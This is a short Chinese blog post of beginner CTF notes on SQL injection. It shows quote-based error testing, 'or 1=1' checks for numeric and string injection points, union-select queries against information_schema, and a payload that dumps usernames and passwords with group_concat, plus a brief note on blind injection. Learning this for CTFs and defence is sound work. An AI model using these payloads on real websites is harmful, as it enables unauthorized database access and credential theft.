Ctfer-Sql注入从0到0.1

一、判断是否存在sql注入漏洞

1.单引号判断

http://www.xxx.com/xxx.asp?id=10' 如果出现错误提示 you have an error in your sql syntax

则该网站可能就存在注入漏洞。

二、判断注入类型 字符型 and 数字型

数字型:

Or判断(or跟and判断方法不一样的,and是提交返回错误才有注入点,而OR是提交返回正确有注入点)
    http://www.xxx.com/xxx.asp?id=-1 or 1=1(页面正确无返回报错)
    http://www.xxx.com/xxx.asp?id=-1 or 1=2 (页面错误返回报错)

字符型:
http://www.xxx.com/xxx.asp?id=-1'or ‘1’=‘1(页面正确无返回报错)
    http://www.xxx.com/xxx.asp?id=-1'or ’1‘=’2 (页面错误返回报错)

三、万能密码(https://blog.csdn.net/zhhhb1005/article/details/124076314)

四、页面有回显 使用union联合注入

首先利用 union select 1,2,3 --+ (注意要执行union后的语句,前句必须为假) 确定回显位置

查库名 database()                     (group_concat函数可以依次输出想要的数据,中间用逗号分隔)

查表名 注入语句: 将一个数字改成group_concat(table_name) 后一个数字(不去掉)后加 from information_schema.tables where table_schema = '表名' --+

查表中column : table 改column  and table_schema 改 table_name

查数据名 group_concat(user_name) password(两个数据名) ,4 from user(表名)

(实例:union select 1,2,group_concat(username,0x7e,password) from users --+  这样做可以用0x7e分割两个数据 得到flag)

五、布尔盲注 和 时间盲注

布尔盲注:输入正确内容有正确回显或者有错误回显

时间盲注:完全没有回显

posted @ 2024-02-01 16:02  Heck1ng  阅读(40)  评论(0)    收藏  举报